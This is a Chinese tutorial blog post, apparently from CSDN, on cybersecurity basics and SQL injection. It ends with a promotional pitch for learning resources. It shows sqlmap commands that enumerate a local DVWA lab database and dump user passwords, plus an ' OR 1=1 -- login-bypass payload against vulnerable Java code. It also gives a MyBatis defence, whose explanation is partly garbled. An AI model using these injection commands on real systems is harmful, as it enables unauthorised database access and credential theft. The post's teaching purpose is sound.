网络安全工程师究竟是什么?

在当今数字化时代,网络安全成为全球关注的焦点。随着互联网的普及和信息技术的迅猛发展,网络攻击和数据泄露的威胁也日益增长。为了保护个人隐私和企业敏感信息,网络安全行业正蓬勃发展。

本文将简单介绍网络安全的定义和属性,并通过sql注入的案例实战展示web安全的攻击与防护。

*一、*

*网络安全简介*

就像亲戚朋友们总会对学计算机的我们误解道,“你们学计算机是不是都会修电脑啊,我家电脑刚好坏了,帮我看下呗?”

大家对做安全的也有一定的误解,比如开玩笑说,“你们搞安全的都是黑客哇?你帮我盗个QQ号/游戏账号呗?”

那网络安全到底是什么呢?百度百科上对于“网络安全”是这么解释的:

图片

我们搞安全的,目标就是保护网络安全!所以,我们当然不是黑客啦!

黑客的思维是以攻击和破坏网络为主,这是反向的攻击,而我们做安全测试的,不仅需要学习黑客的思维模式,利用反向攻击来检测安全漏洞,更需要以防御的思路从正向来保护网络的安全。

下面让我们来了解一些常见的网络安全术语:

图片

图源https://zhuanlan.zhihu.com/p/495714886

图片

*网络安全的五大属性*

安全有五大属性,分别为**保密性、完整性、可用性、可控性和不可抵赖性。**这五个属性适用于国家信息基础设施的教育、娱乐、医疗、运输、国家安全、电力供给及通信等广泛领域,同时也是我们安全领域围绕的基础特性。

图片

常见的web漏洞签名加解密数据安全安全配置等都与这五个属性有关:

━ ━ ━ ━ ━ ━ ━ ━ ━ ━

1. 保密性:

**l加密:**使用加密算法对敏感数据进行加密,只有具备解密密钥的人才能解密。

**l访问控制:**限制对敏感信息的访问权限,并使用身份验证机制来验证用户身份。

**l数据分类和标记:**根据敏感级别对数据进行分类和标记,以确保只有授权人员可以访问。

━ ━ ━ ━ ━ ━ ━ ━ ━ ━

2. 完整性:

**l数字签名:**使用加密技术生成数字签名,验证数据的完整性和真实性。

**l哈希函数:**使用哈希算法生成数据的哈希值,检测数据是否被篡改。

**l冗余校验:**通过冗余校验机制(如奇偶校验、循环冗余校验等)检测和纠正数据传输中的错误。

━ ━ ━ ━ ━ ━ ━ ━ ━ ━

3. 可用性:

**l冗余设计:**通过备份、故障转移和负载均衡等技术,提高系统的容错性和可用性。

**l容量规划:**确保系统具有足够的存储容量和计算资源,以满足用户的需求。

**l灾备方案:**制定和实施灾难恢复计划,确保在灾难发生时能够快速恢复系统和数据。

━ ━ ━ ━ ━ ━ ━ ━ ━ ━

4. 可控性:

**l登录和审计日志:**记录系统和用户的操作活动,用于追踪和审计。

**l数字水印:**向数据中嵌入唯一标识,用于追踪和确认数据的来源和使用情况。

━ ━ ━ ━ ━ ━ ━ ━ ━ ━

5. 不可抵赖性:

**l数字签名:**使用数字证书和非对称加密技术对数据进行签名,确保发送方的不可抵赖性。

**l时间戳:**使用可信的时间戳服务,为数据和操作记录。

图片

*三*

*功防实战演练*

学习完以上术语,接下来我们将通过一个简单的案例进行实战演练,进一步了解网络安全:

SQL注入漏洞是一种web安全漏洞,攻击者通过在应用程序中注入恶意的SQL代码,从而可以执行未经授权的数据库操作,获取敏感数据或对数据库进行破坏,结合其他漏洞甚至可以获取服务器的权限。

━ ━ ━ ━ ━ ━ ━ ━ ━ ━

1. 利用sqlmap工具进行SQL注入攻击

使用本地搭建的DVWA漏洞靶场的SQL injection练习模块

*相关环境参考:*

****DVWA**环境搭建:**https://blog.csdn.net/qq_58793845/article/details/128288260**

****SQLMAP**工具使用:**https://blog.csdn.net/qq_61553520/article/details/130156864**

url:http://127.0.0.1/vulnerabilities/sqli/?id=1&Submit=Submit#

图片━ ━ ━ ━ ━ ━ ━ ━ ━ ━

**2.**使用sqlmap工具进行sql注入点检测

payload:python sqlmap.py -u “url” --batch --cookie=“cookie”

图片

━ ━ ━ ━ ━ ━ ━ ━ ━ ━

3. 如图检测参数id存在sql注入漏洞

图片

━ ━ ━ ━ ━ ━ ━ ━ ━ ━

4. 注入出数据库名

payload:python sqlmap.py -u “url” --batch --cookie=“cookie” --dbs

图片

━ ━ ━ ━ ━ ━ ━ ━ ━ ━

5. 制定数据库,爆出表名

payload:python sqlmap.py -u “url” --batch --cookie=“cookie” -D dvwa --tables

图片

━ ━ ━ ━ ━ ━ ━ ━ ━ ━

6. 爆出列名

payload:python sqlmap.py -u “url” --batch --cookie=“cookie” -D dvwa -T users --columns

图片

━ ━ ━ ━ ━ ━ ━ ━ ━ ━

7. 爆出用户名和密码字段

payload:python sqlmap.py -u “url” --batch --cookie=“cookie” -D dvwa -T users -C user,password --dump

图片

图片

*四*

****从java代码看sql注入的产生和防护****
*
*

假设有一个有登录页面的场景,用户需要输入用户名和密码,系统再将输入的参数用来查询数据库中是否存在该用户。

此时这里使用JDBC API直接与数据库进行交互:

String username = request.getParameter(“username”);

String password = request.getParameter(“password”);

String sql = “SELECT * FROM users WHERE username = '” + username + “’ AND password = '” + password + “'”;

Statement statement = connection.createStatement();

ResultSet result = statement.executeQuery(sql);

在这个代码中,用户输入的 username 和 password 直接拼接到 SQL 查询语句中,使攻击者可以通过在 username 或 password 中注入恶意 SQL 代码来攻击数据库。例如,攻击者可以在 username 字段中输入 ’ OR 1=1 –,这会导致查询语句变为:

SELECT * FROM users WHERE username = ‘’ OR 1=1 --’ AND password = ‘’

由于 OR 1=1 始终为真,这个查询语句将返回所有用户的记录。注入的注释符号 – 会注释掉后面的 AND password = ‘’,从而绕过了密码验证。

为了防止 SQL 注入攻击,我们最好使用参数化查询和预编译语句。下面以MyBatis为例,展示防护SQL注入的示例代码:

**
**

首先,在 MyBatis 的 Mapper XML 文件中,我们需要使用 元素来定义 SQL 查询语句,并使用 #{} 来引用查询参数。例如:

SELECT * FROM users WHERE username = #{username} AND password = #{password}

接下来,在 Java 代码中,我们需要使用 MyBatis 的 SqlSessionFactory 和 SqlSession 类来执行 SQL 查询语句,例如:

String username = “test”;

String password = “test”;

Map<String, String> paramMap = new HashMap<>();

paramMap.put(“username”, username);

paramMap.put(“password”, password);

SqlSession sqlSession = sqlSessionFactory.openSession();

try {

User user = sqlSession.selectOne(“getUserByNameAndPassword”, paramMap);

// 处理查询结果

} finally {

sqlSession.close();

}

在上面的 SQL 查询语句中,我们使用了 #{} 占位符来表示查询参数,这样 MyBatis 会自动将参数进行预编译和转义,以提高查询的安全性和性能,因此可以防止 SQL 注入攻击。

请注意,这里使用的是 #{} 占位符,而不是 占位符,因为 {} 占位符,因为 占位符,因为{}是做简单的字符串替换,就是把传入的值直接拼接到SQL语句中,且不会自动加单引号,所以不能防止SQL注入的风险。

最后

统计数据显示,目前我国网安人才缺口达140万之多…
不管你是网络安全爱好者还是有一定工作经验的从业人员
不管你是刚毕业的行业小白还是想跳槽的专业人员
都需要这份超级超级全面的资料
几乎打败了市面上90%的自学资料
并覆盖了整个网络安全学习范畴
来 收藏它!一定会对你的学习有所帮助!

朋友们如果有需要全套网络安全入门+进阶学习资源包,可以点击免费领取(如遇扫码问题,可以在评论区留言领取哦)~

CSDN大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享

在这里插入图片描述

1.网安必备全套工具包和源码

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

2.视频教程

网上虽然也有很多的学习资源,但基本上都残缺不全的,这是我自己录的网安视频教程,路线图上的每一个知识点,我都有配套的视频讲解。
在这里插入图片描述

3.技术文档和电子书

技术文档也是我自己整理的,包括我参加护网行动、CTF和挖SRC漏洞的经验和技术要点。
在这里插入图片描述

网安方面的电子书我也收藏了200多本,基本上热门的和经典的我都有,也可以共享。
在这里插入图片描述

4.NISP、CISP等各种证书备考大礼包

在这里插入图片描述

5.信息安全工程师备考大礼包

在这里插入图片描述

6.网安大厂面试题

这几年整理的网安方面的面试题,如果你是要找网安方面的工作,它们绝对能帮你大忙。
在这里插入图片描述
在这里插入图片描述
朋友们如果有需要全套网络安全入门+进阶学习资源包,可以点击免费领取(如遇扫码问题,可以在评论区留言领取哦)~

CSDN大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享

猜你喜欢

转载自blog.csdn.net/weixin_59191169/article/details/132090192